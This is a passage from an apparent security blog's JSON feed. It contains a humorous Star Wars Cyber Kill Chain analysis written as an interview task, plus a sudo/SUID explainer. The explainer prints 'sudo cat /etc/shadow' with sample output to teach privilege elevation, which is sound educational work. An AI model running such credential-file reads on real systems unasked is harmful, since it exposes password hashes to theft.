", "url": "https://eliasa.link/blog/xss-explained/", "title": "XSS Attacks: Hands-On", "summary": "What is an XSS Attack and how does it work? Practice.", "date_modified": "2023-11-25T00:00:00.000Z", "tags": [ "xss", "vulnerability", "owasp" ] }, { "id": "https://eliasa.link/blog/cyber-star-wars/", "content_html": "Welcome to Cyer4nt!\nThis is the second post in a series about interview-related questions for Cyber Security Engineers. Today, I'm sharing a fun task I did during an interview with a well-known (and amazing) media organization.\nThe task presents an entertaining approach: analyzing Star Wars: Episode IV A New Hope movie through the lens of the Kill Chain Model.\nMay the Cyber Force be with you!
\nYou are an Imperial Security Analyst in charge of providing computer security for the DS-2 Orbital Battle Station (or Death Star). Provide a step-by-step kill chain use case according to your research from the first Death Star destruction.
\nHope you enjoy it!
\n| Field | Value |
|---|---|
| Date: | E%e/%f |
| Victim: | Galactic Empire |
| Adversary: | Rebel Group (aka APT-303) |
| Report Prepared by: | Imperial Security Analyst of The Galactic Empire |
A 0-day critical vulnerability (later rated CVSS 9.7) was exploited on one of the biggest Empire's stations called The Death Star. This led to its total destruction. Luke Skywalker with the assistance of other adversaries known as the Rebel Group (also reffered to as APT-303), was able to fire proton torpedoes into the exhaust port, triggering a catastrophic chain reaction that obliterated the Death Star. This incident inflicted severe losses on the Galactic Empire, including the loss of their most formidable weapon, significantly contributing to their eventual downfall.\nTo shed light on the case, we have analyzed the attack using the Cyber Kill Chain model.
\nIn this phase the adversaries gather information about the target's vulnerabilities.
\nThe Rebel Group identified a critical design flaw in the DS-1. The technical plan of the DS-1 was obtained by Princess Leia, an insider who worked for APT-303.\nThe act of stealing data is a hostile action that can be described within the framework of the Kill Chain. However, in this report, we examine the incident in a broader context.\n![\"Leia\"](\"https://eliasa.link/assets/images/Leia_stealing_data-e92a834e9d1e10edc798cd93d5db79a6.jpg\")
\nFigure 1 - Princess Leia storing the stolen data into the R2D2
R2D2 managed to escape the controlled airship undetected due to the inability of the Empire to detect non-organic lifeforms. Given the existence of other lifeforms such as droids, the Empire needs to revisit their policies and procedures and incorporate new detection methods for all types of lifeforms.\nFurthermore, any critical technical documentation that could expose flaws in the system must have been encrypted using a Force Resistant encryption algorithm to ensure the confidentiality of data.
In this phase, the attacker focuses on developing the necessary tools to exploit the identified vulnerabilities.
\nThe Rebel Group devised a strategy to exploit the discovered weakness of the Death Star.\n![\"Strategy\"](\"https://eliasa.link/assets/images/Strategy-5f6e36ec94c6b254b74796f266378a87.jpg\")
\nFigure 2 - The rebel group developing their attack strategy
As the adversaries continue to develop their strategies and toolsets, it is essential for us to maintain constant vigilance. This involves proactively developing our playbooks, thoroughly researching our own infrastructure, and enhancing our Threat Intelligence capability.
In this phase the attacker transmits the weapon to the target.
\nTo execute the attack on the DS-1, the Rebel Group organized a fleet of starfighters comprising X-Wings and Y-Wings. These starfighters were equipped with the required proton torpedoes to carry out the mission successfully.\n![\"Impersonation\"](\"https://eliasa.link/assets/images/Impersonation-314956c6381c6e8fbec70ff9f730446d.jpg\")
\nFigure 3 - Act of impersonation by the adversaries
To enhance security awareness and prepare personnel for such attacks, it is important to conduct regular phishing awareness campaigns. These campaigns help educate employees about the risks associated with phishing and train them to identify and report suspicious emails or messages effectively.
In addition, deploying an intrusion prevention system (IPS) with up-to-date rules can help provide timely alerts and block any unauthorized access attempts by the X-Wings and Y-Wings in the controlled perimeter.
\nThis phase refers to the adversary's lateral movement through the defense forces of the Empire. This phase involves bypassing and evading the Empire's defenses to reach the intended target and strategically placing the starfighters in the optimal position to exploit the vulnerability and launch the attack.
\n![\"Hacking\"](\"https://eliasa.link/assets/images/Hacking-da802798e3fa619df53535423b4e83ba.jpg\")
\nFigure 4 - R2D2 hacking the infrastructure of the Empire
To enhance network security, it is recommended to deploy network access control (NAC) solutions. NAC solutions help in restricting unauthorized devices from accessing the network. By implementing NAC, organizations can enforce policies that ensure only authorized and compliant devices are allowed to connect to the network. This helps prevent potential threats posed by unauthorized or compromised devices and mitigates the risk of unauthorized access.
The attacker establishes communication channels between their infrastructure and the compromised system to maintain control, receive instructions, and exfiltrate stolen data. Similarly, during the battle, the leaders of the Rebel Group maintained communication with their pilots, providing guidance and coordinating the attack. Effective communication channels between the adversaries and their forces play a critical role in executing their strategies, ensuring effective coordination maximizing their chances of success.
\n![\"C2C\"](\"https://eliasa.link/assets/images/C2C-3f03333d03bc29dc48a2d3dab38143d5.jpg\")
\nFigure 5 - Command & Control of APT-303 from inside
Continuous monitoring and rapid response strategies are crucial to prevent attackers from achieving their end goals.
In this final phase, the attacker executes their intended objectives, which may vary depending on their motives.
\nLuke Skywalker, guided by the Force, fired the proton torpedoes into the thermal exhaust port. The torpedoes traveled down to the main reactor, initiating a chain reaction that ultimately resulted in the destruction of the Death Star.\n![\"Death_Star\"](\"https://eliasa.link/assets/images/Death_Star-ff240e46c977cf7904597d39865f96c4.jpg\")
\nFigure 6 - Escape of Luke Skywalker from DS-1 before it's destruction
Fix the weakness by isolating the thermal exhaust port from the reactor in order to mitigate the chain reaction.
Despite the Empire's vast resources, including numerous scientists, engineers, and disciplined troopers, the Battle of Yavin resulted in a loss for the Empire, with the DS-1 being destroyed along with a significant number of personnel.
", "url": "https://eliasa.link/blog/cyber-star-wars/", "title": "Star Wars through Cyber Kill Chain", "summary": "May the Cyber Force be With You!", "date_modified": "2023-11-12T00:00:00.000Z", "tags": [ "star wars", "cyber kill chain", "interview" ] }, { "id": "https://eliasa.link/blog/sudo-explained/", "content_html": "At some point of my career, I wanted to land a job as a Junior SOC Engineer. To my surprise, I found myself struggling with technical interviews, even when asked relatively straightforward questions.
\nFor instance, one question was, \"What is sudo and how does it work?\"
\nsudo in simple wordsApparently, anyone who has worked with Linux has used sudo. This program temporarily elevates a user's privileges to execute specific commands by validating the user's permissions in the sudoers file.
Sudo (su “do”) allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments. The basic philosophy is to give as few privileges as possible but still allow people to get their work done.
Ordinary users cannot read the file /etc/shadow. Attempting to view it without sudo will result in a permission error:
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
Using sudo (assuming that this user is in the sudoers file) can grant the user permission to execute this command:
\n$ sudo cat /etc/shadow
[sudo] password for user:
root::18295:0:99999:7:::
daemon::18295:0:99999:7:::
bin:*:18295:0:99999:7:::
...
Now you have been granted the appropriate permissions and you can view the /etc/shadow file. But wait, what exactly just happened?
sudo command in more depthHere are the main steps that sudo as a program does:
\nThere's a catch here: How does sudo checked the /etc/sudoers file, given that only root has the permissions to read this file??
Here comes the SUID bit.
\nWhen you look at sudo's binary file permissions, you'll see:
\n$ ls -l /usr/bin/sudo
-rwsr-xr-x 1 root root [size] [date] usr/bin/sudo
That curious 's' is the SUID (Set User ID) bit. With this flag in permissions, a program runs with privileges of its owner regardless of the invoking user. In this respect, sudo is always executed by root and therefore can access the protected files such /etc/sudoers or /etc/shadow.
sudo is not a proprietary OS utility; it's an open-source and continuously updated program. A look at its repository reveals consistent updates, under the dedicated supervision of Todd C. Miller. As of now, the latest stable version is 1.9.17p2, released on July 26, 2025. More info on the official site.
Every time sudo is invoked, it leaves a trail. These logs provide valuable insights, especially when auditing system access or investigating potential breaches. For Debian/Ubuntu you can see the logs in /var/log/auth.log file. To filter out the noise, use the grep command:
grep sudo /var/log/auth.log
When preparing for a SOC or Cyber Security Engineer interview, understand that sudo is a Set User ID binary program that is always executed by root user.
\nEssential practices include:
\n